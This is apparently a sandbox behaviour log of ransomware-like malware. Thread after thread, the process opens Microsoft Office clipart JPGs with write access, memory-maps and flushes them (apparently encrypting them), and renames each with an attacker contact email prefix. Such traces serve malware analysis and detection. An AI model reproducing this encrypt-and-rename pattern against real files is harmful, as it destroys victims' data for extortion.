	[0101.398] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0101.400] CloseHandle (hObject=0xec8) returned 1
	[0101.400] GetCurrentThreadId () returned 0x1c70
	[0101.400] FlushFileBuffers (hFile=0xed0) returned 1
	[0101.410] CloseHandle (hObject=0xed0) returned 1
	[0101.410] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382967.jpg") returned 97
	[0101.410] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382967.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382967.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382967.jpg")) returned 1
	[0101.412] free (_Block=0x51f0070) 
	[0101.412] RtlExitUserThread (Status=0x0) 

Thread:
	id = 775
	os_tid = 0x1c74

	[0101.401] _alloca_probe () returned 0x40328a
	[0101.401] GetCurrentThreadId () returned 0x1c74
	[0101.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.jpg", dwFileAttributes=0x80) returned 1
	[0101.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382968.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xec8
	[0101.402] GetFileSizeEx (in: hFile=0xec8, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=112479) returned 1
	[0101.402] CreateFileMappingA (hFile=0xec8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b76d, lpName=0x0) returned 0xed4
	[0101.402] MapViewOfFile (hFileMappingObject=0xed4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0101.429] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0101.430] CloseHandle (hObject=0xed4) returned 1
	[0101.430] GetCurrentThreadId () returned 0x1c74
	[0101.430] FlushFileBuffers (hFile=0xec8) returned 1
	[0101.433] CloseHandle (hObject=0xec8) returned 1
	[0101.433] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382968.jpg") returned 97
	[0101.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382968.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382968.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382968.jpg")) returned 1
	[0101.434] free (_Block=0x51f3088) 
	[0101.434] RtlExitUserThread (Status=0x0) 

Thread:
	id = 776
	os_tid = 0x1c78

	[0101.435] _alloca_probe () returned 0x40328a
	[0101.436] GetCurrentThreadId () returned 0x1c78
	[0101.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.jpg", dwFileAttributes=0x80) returned 1
	[0101.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382969.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xed4
	[0101.436] GetFileSizeEx (in: hFile=0xed4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=96159) returned 1
	[0101.436] CreateFileMappingA (hFile=0xed4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x177ad, lpName=0x0) returned 0xed0
	[0101.436] MapViewOfFile (hFileMappingObject=0xed0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0101.460] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0101.461] CloseHandle (hObject=0xed0) returned 1
	[0101.461] GetCurrentThreadId () returned 0x1c78
	[0101.461] FlushFileBuffers (hFile=0xed4) returned 1
	[0101.479] CloseHandle (hObject=0xed4) returned 1
	[0101.480] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382969.jpg") returned 97
	[0101.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382969.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382969.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382969.jpg")) returned 1
	[0101.481] free (_Block=0x51f4090) 
	[0101.481] RtlExitUserThread (Status=0x0) 

Thread:
	id = 777
	os_tid = 0x1c7c

	[0101.445] _alloca_probe () returned 0x40328a
	[0101.445] GetCurrentThreadId () returned 0x1c7c
	[0101.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382970.jpg", dwFileAttributes=0x80) returned 1
	[0101.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382970.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382970.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xedc
	[0101.453] GetFileSizeEx (in: hFile=0xedc, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=88980) returned 1
	[0101.453] CreateFileMappingA (hFile=0xedc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15b97, lpName=0x0) returned 0xee0
	[0101.453] MapViewOfFile (hFileMappingObject=0xee0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2380000
	[0101.487] UnmapViewOfFile (lpBaseAddress=0x2380000) returned 1
	[0101.488] CloseHandle (hObject=0xee0) returned 1
	[0101.488] GetCurrentThreadId () returned 0x1c7c
	[0101.488] FlushFileBuffers (hFile=0xedc) returned 1
	[0101.491] CloseHandle (hObject=0xedc) returned 1
	[0101.491] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382970.jpg") returned 97
	[0101.491] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382970.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382970.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382970.jpg")) returned 1
	[0101.492] free (_Block=0x51f3088) 
	[0101.492] RtlExitUserThread (Status=0x0) 

Thread:
	id = 778
	os_tid = 0x1c80

	[0101.494] _alloca_probe () returned 0x40328a
	[0101.494] GetCurrentThreadId () returned 0x1c80
	[0101.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.jpg", dwFileAttributes=0x80) returned 1
	[0101.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384862.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xee0
	[0101.495] GetFileSizeEx (in: hFile=0xee0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=102633) returned 1
	[0101.495] CreateFileMappingA (hFile=0xee0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x190f1, lpName=0x0) returned 0xed4
	[0101.495] MapViewOfFile (hFileMappingObject=0xed4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0101.516] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0101.517] CloseHandle (hObject=0xed4) returned 1
	[0101.517] GetCurrentThreadId () returned 0x1c80
	[0101.517] FlushFileBuffers (hFile=0xee0) returned 1
	[0101.522] CloseHandle (hObject=0xee0) returned 1
	[0101.522] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0384862.jpg") returned 97
	[0101.522] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384862.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0384862.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0384862.jpg")) returned 1
	[0101.523] free (_Block=0x51f60a0) 
	[0101.523] RtlExitUserThread (Status=0x0) 

Thread:
	id = 779
	os_tid = 0x1c84

	[0101.646] _alloca_probe () returned 0x40328a
	[0101.647] GetCurrentThreadId () returned 0x1c84
	[0101.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.jpg", dwFileAttributes=0x80) returned 1
	[0101.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384885.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xed4
	[0101.649] GetFileSizeEx (in: hFile=0xed4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=97145) returned 1
	[0101.649] CreateFileMappingA (hFile=0xed4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17b81, lpName=0x0) returned 0xed0
	[0101.649] MapViewOfFile (hFileMappingObject=0xed0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0101.669] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0101.670] CloseHandle (hObject=0xed0) returned 1
	[0101.670] GetCurrentThreadId () returned 0x1c84
	[0101.670] FlushFileBuffers (hFile=0xed4) returned 1
	[0101.673] CloseHandle (hObject=0xed4) returned 1
	[0101.673] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0384885.jpg") returned 97
	[0101.673] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384885.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0384885.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0384885.jpg")) returned 1
	[0101.674] free (_Block=0x51f4090) 
	[0101.674] RtlExitUserThread (Status=0x0) 

Thread:
	id = 780
	os_tid = 0x1c90

	[0101.676] _alloca_probe () returned 0x40328a
	[0101.677] GetCurrentThreadId () returned 0x1c90
	[0101.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.jpg", dwFileAttributes=0x80) returned 1
	[0101.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384888.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xed0
	[0101.677] GetFileSizeEx (in: hFile=0xed0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=81971) returned 1
	[0101.677] CreateFileMappingA (hFile=0xed0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14035, lpName=0x0) returned 0xee4
	[0101.677] MapViewOfFile (hFileMappingObject=0xee4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0101.775] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0101.776] CloseHandle (hObject=0xee4) returned 1
	[0101.777] GetCurrentThreadId () returned 0x1c90
	[0101.777] FlushFileBuffers (hFile=0xed0) returned 1
	[0101.779] CloseHandle (hObject=0xed0) returned 1
	[0101.779] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0384888.jpg") returned 97
	[0101.779] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384888.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0384888.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0384888.jpg")) returned 1
	[0101.781] free (_Block=0x51f5098) 
	[0101.781] RtlExitUserThread (Status=0x0) 

Thread:
	id = 781
	os_tid = 0x1c94

	[0101.825] _alloca_probe () returned 0x40328a
	[0101.825] GetCurrentThreadId () returned 0x1c94
	[0101.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.jpg", dwFileAttributes=0x80) returned 1
	[0101.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384895.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xee4
	[0101.826] GetFileSizeEx (in: hFile=0xee4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=55542) returned 1
	[0101.826] CreateFileMappingA (hFile=0xee4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd8fb, lpName=0x0) returned 0xee8
	[0101.827] MapViewOfFile (hFileMappingObject=0xee8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0101.839] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0101.840] CloseHandle (hObject=0xee8) returned 1
	[0101.840] GetCurrentThreadId () returned 0x1c94
	[0101.840] FlushFileBuffers (hFile=0xee4) returned 1
	[0102.401] CloseHandle (hObject=0xee4) returned 1
	[0102.416] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0384895.jpg") returned 97
	[0102.416] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0384895.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0384895.jpg")) returned 1
	[0102.450] free (_Block=0x51f60a0) 
	[0102.450] RtlExitUserThread (Status=0x0) 

Thread:
	id = 782
	os_tid = 0x1c98

	[0101.844] _alloca_probe () returned 0x40328a
	[0101.844] GetCurrentThreadId () returned 0x1c98
	[0101.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.jpg", dwFileAttributes=0x80) returned 1
	[0101.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384900.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xeec
	[0101.845] GetFileSizeEx (in: hFile=0xeec, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=71552) returned 1
	[0101.846] CreateFileMappingA (hFile=0xeec, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11780, lpName=0x0) returned 0xef0
	[0101.846] MapViewOfFile (hFileMappingObject=0xef0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0101.862] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0101.867] CloseHandle (hObject=0xef0) returned 1
	[0101.867] GetCurrentThreadId () returned 0x1c98
	[0101.867] FlushFileBuffers (hFile=0xeec) returned 1
	[0101.879] CloseHandle (hObject=0xeec) returned 1
	[0101.879] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0384900.jpg") returned 97
	[0101.879] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384900.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0384900.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0384900.jpg")) returned 1
	[0101.880] free (_Block=0x51f3088) 
	[0101.880] RtlExitUserThread (Status=0x0) 

Thread:
	id = 783
	os_tid = 0x1c9c

	[0101.868] _alloca_probe () returned 0x40328a
	[0101.869] GetCurrentThreadId () returned 0x1c9c
	[0101.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.jpg", dwFileAttributes=0x80) returned 1
	[0101.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386120.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xef4
	[0101.870] GetFileSizeEx (in: hFile=0xef4, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=30842) returned 1
	[0101.870] CreateFileMappingA (hFile=0xef4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7883, lpName=0x0) returned 0xef8
	[0101.870] MapViewOfFile (hFileMappingObject=0xef8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0101.877] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0101.878] CloseHandle (hObject=0xef8) returned 1
	[0101.878] GetCurrentThreadId () returned 0x1c9c
	[0101.878] FlushFileBuffers (hFile=0xef4) returned 1
	[0101.882] CloseHandle (hObject=0xef4) returned 1
	[0101.882] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0386120.jpg") returned 97
	[0101.882] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386120.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0386120.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0386120.jpg")) returned 1
	[0101.883] free (_Block=0x51f4090) 
	[0101.883] RtlExitUserThread (Status=0x0) 

Thread:
	id = 784
	os_tid = 0x1ca0

	[0101.920] _alloca_probe () returned 0x40328a
	[0101.920] GetCurrentThreadId () returned 0x1ca0
	[0101.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386267.jpg", dwFileAttributes=0x80) returned 1
	[0101.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386267.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386267.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xeec
	[0101.921] GetFileSizeEx (in: hFile=0xeec, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=43294) returned 1
	[0101.921] CreateFileMappingA (hFile=0xeec, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa92b, lpName=0x0) returned 0xef8
	[0101.921] MapViewOfFile (hFileMappingObject=0xef8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0101.932] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0101.933] CloseHandle (hObject=0xef8) returned 1
	[0101.933] GetCurrentThreadId () returned 0x1ca0
	[0101.933] FlushFileBuffers (hFile=0xeec) returned 1
	[0101.935] CloseHandle (hObject=0xeec) returned 1
	[0101.935] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0386267.jpg") returned 97
	[0101.935] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386267.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386267.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0386267.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0386267.jpg")) returned 1
	[0101.936] free (_Block=0x51f3088) 
	[0101.936] RtlExitUserThread (Status=0x0) 

Thread:
	id = 785
	os_tid = 0x1ca4

	[0101.937] _alloca_probe () returned 0x40328a
	[0101.938] GetCurrentThreadId () returned 0x1ca4
	[0101.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.jpg", dwFileAttributes=0x80) returned 1
	[0101.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386270.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xef8
	[0101.939] GetFileSizeEx (in: hFile=0xef8, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=15171) returned 1
	[0101.939] CreateFileMappingA (hFile=0xef8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b45, lpName=0x0) returned 0xefc
	[0101.939] MapViewOfFile (hFileMappingObject=0xefc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0101.943] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0101.943] CloseHandle (hObject=0xefc) returned 1
	[0101.943] GetCurrentThreadId () returned 0x1ca4
	[0101.943] FlushFileBuffers (hFile=0xef8) returned 1
	[0101.953] CloseHandle (hObject=0xef8) returned 1
	[0101.953] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0386270.jpg") returned 97
	[0101.953] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386270.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0386270.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0386270.jpg")) returned 1
	[0101.954] free (_Block=0x51f5098) 
	[0101.954] RtlExitUserThread (Status=0x0) 

Thread:
	id = 786
	os_tid = 0x1ca8

	[0101.946] _alloca_probe () returned 0x40328a
	[0101.947] GetCurrentThreadId () returned 0x1ca8
	[0101.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.jpg", dwFileAttributes=0x80) returned 1
	[0101.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386485.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf00
	[0101.947] GetFileSizeEx (in: hFile=0xf00, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=14698) returned 1
	[0101.947] CreateFileMappingA (hFile=0xf00, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3973, lpName=0x0) returned 0xf04
	[0101.948] MapViewOfFile (hFileMappingObject=0xf04, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0101.952] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0101.952] CloseHandle (hObject=0xf04) returned 1
	[0101.952] GetCurrentThreadId () returned 0x1ca8
	[0101.952] FlushFileBuffers (hFile=0xf00) returned 1
	[0101.956] CloseHandle (hObject=0xf00) returned 1
	[0101.956] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0386485.jpg") returned 97
	[0101.956] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386485.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0386485.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0386485.jpg")) returned 1
